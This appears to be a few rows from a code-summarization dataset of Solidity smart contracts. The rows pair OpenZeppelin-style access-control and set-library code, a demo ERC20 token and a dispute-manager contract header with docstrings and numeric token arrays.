_remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
* @dev Allows MessageProxy to remove extra contract, thus `extraContract` will no longer be available to transfer messages from mainnet to schain. Requirements: - Extra contract must be registered./
function _removeExtraContract( bytes32 chainHash, address extraContract ) internal { require(_getRegistryContracts()[chainHash].contains(extraContract), "Extra contract is not registered"); _getRegistryContracts()[chainHash].remove(extraContract); emit ExtraContractRemoved(chainHash, extraContract); }
1,152,685
[ 1, 19132, 2350, 3886, 358, 1206, 2870, 6835, 16, 12493, 1375, 7763, 8924, 68, 903, 1158, 7144, 506, 2319, 358, 7412, 2743, 628, 2774, 2758, 358, 272, 5639, 18, 29076, 30, 300, 13592, 6835, 1297, 506, 4104, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4479, 7800, 8924, 12, 203, 3639, 1731, 1578, 2687, 2310, 16, 203, 3639, 1758, 2870, 8924, 203, 565, 262, 203, 3639, 2713, 203, 565, 288, 203, 3639, 2583, 24899, 588, 4243, 20723, 1435, 63, 5639, 2310, 8009, 12298, 12, 7763, 8924, 3631, 315, 7800, 6835, 353, 486, 4104, 8863, 203, 3639, 389, 588, 4243, 20723, 1435, 63, 5639, 2310, 8009, 4479, 12, 7763, 8924, 1769, 203, 3639, 3626, 13592, 8924, 10026, 12, 5639, 2310, 16, 2870, 8924, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.19 <0.7.0; import "./interface/IERC20.sol"; import "./lib/safemath.sol"; /** * The CountachToken is IERC20 contract */ contract CountachDemo is IERC20 { string public constant name = "Countach Demo Token"; string public constant symbol = "CDT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1024e6 * (10 ** uint256(decimals)); using safemath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; constructor()public{ _mint(msg.sender,INITIAL_SUPPLY); } /** * @dev Get Token decimals uints * */ function getDecimal()public pure returns(uint){ return 10 ** uint256(decimals); } /** * @dev The CT Total supply amount */ function totalSupply () public view returns(uint256) { return _totalSupply; } /** * @dev Get the Balance of the specified address * @param owner The address your will query balance of. * @return An uint256 value ,web3 need use bignumber handle. */ function balanceOf(address owner) public view returns(uint256){ return _balances[owner]; } /** * @dev Transfer tokens to a specified account * @param to The Receiving account * @param value The amount will transfer * @return the transfer is success */ function transfer(address to,uint256 value) public returns(bool){ require (value <= _balances[msg.sender]); require (to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender,to,value); return true; } /** * @dev Transfer tokens from one account to another account * @param from The Transfer out account address * @param to The Receiving account address ,can't 0 address * @return transfer result is bool and emit event Transfer */ function transferFrom(address from,address to,uint256 value) public returns(bool){ require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from,to,value); return true; } /** * @dev check the amount of tokens that an owner aloowed to a spender. * @param owner The owner account address * @param spender The spender account address * @return A amount which The spender account spend funds. */ function allowance(address owner,address spender) public view returns(uint256){ return _allowed[owner][spender]; } /** * @dev Approve the passed address to spend the specified amount tokens on behalf of msg.sender * Beware that changing an allowance with this method brings the risk that someone may use both the old * @param spender The account address which will spend the funds. * @param value The amount of tokens to be spent. * @return the approve success or fail bool value */ function approve(address spender,uint256 value) public returns(bool){ require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender,spender,value); return true; } /** * @dev Internal function that mints an amount of tokens and assigned to an account. * @param account the account address will be assigned some tokens. * @param amount The tokens amount */ function _mint(address account,uint256 amount) internal{ require(account != address(0)); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0),account,amount); } }
* @dev check the amount of tokens that an owner aloowed to a spender. @param owner The owner account address @param spender The spender account address @return A amount which The spender account spend funds./
function allowance(address owner,address spender) public view returns(uint256){ return _allowed[owner][spender]; }
1,037,662
[ 1, 1893, 326, 3844, 434, 2430, 716, 392, 3410, 279, 383, 543, 329, 358, 279, 17571, 264, 18, 225, 3410, 1021, 3410, 2236, 1758, 225, 17571, 264, 1021, 17571, 264, 2236, 1758, 327, 432, 3844, 1492, 1021, 17571, 264, 2236, 17571, 284, 19156, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1699, 1359, 12, 2867, 3410, 16, 2867, 17571, 264, 13, 7010, 202, 482, 1476, 1135, 12, 11890, 5034, 15329, 203, 202, 202, 2463, 389, 8151, 63, 8443, 6362, 87, 1302, 264, 15533, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6BFbC564e0b824A19f0C1B43368b2a51026a7275/sources/contracts/pings/IPingMetadata.sol
function setRevealed(bool revealed) external;
interface IPingMetadata is IValidatable { function genMetadata(uint256 tokenId, PingAtts calldata atts) external view returns (string memory); pragma solidity ^0.8.7; }
4,374,942
[ 1, 915, 444, 426, 537, 18931, 12, 6430, 283, 537, 18931, 13, 3903, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 2971, 310, 2277, 353, 467, 1556, 8163, 288, 203, 203, 565, 445, 3157, 2277, 12, 11890, 5034, 1147, 548, 16, 18214, 3075, 87, 745, 892, 15687, 13, 3903, 1476, 1135, 261, 1080, 3778, 1769, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 27, 31, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "../governance/Managed.sol"; import "../upgrades/GraphUpgradeable.sol"; import "./DisputeManagerStorage.sol"; import "./IDisputeManager.sol"; /* * @title DisputeManager * @dev Provides a way to align the incentives of participants by having slashing as deterrent * for incorrect behaviour. * * There are two types of disputes that can be created: Query disputes and Indexing disputes. * * Query Disputes: * Graph nodes receive queries and return responses with signed receipts called attestations. * An attestation can be disputed if the consumer thinks the query response was invalid. * Indexers use the derived private key for an allocation to sign attestations. * * Indexing Disputes: * Indexers present a Proof of Indexing (POI) when they close allocations to prove * they were indexing a subgraph. The Staking contract emits that proof with the format * keccak256(indexer.address, POI). * Any challenger can dispute the validity of a POI by submitting a dispute to this contract * along with a deposit. * * Arbitration: * Disputes can only be accepted, rejected or drawn by the arbitrator role that can be delegated * to a EOA or DAO. */ contract DisputeManager is DisputeManagerV1Storage, GraphUpgradeable, IDisputeManager { using SafeMath for uint256; // -- EIP-712 -- bytes32 private constant DOMAIN_TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)" ); bytes32 private constant DOMAIN_NAME_HASH = keccak256("Graph Protocol"); bytes32 private constant DOMAIN_VERSION_HASH = keccak256("0"); bytes32 private constant DOMAIN_SALT = 0xa070ffb1cd7409649bf77822cce74495468e06dbfaef09556838bf188679b9c2; bytes32 private constant RECEIPT_TYPE_HASH = keccak256( "Receipt(bytes32 requestCID,bytes32 responseCID,bytes32 subgraphDeploymentID)" ); // -- Constants -- uint256 private constant 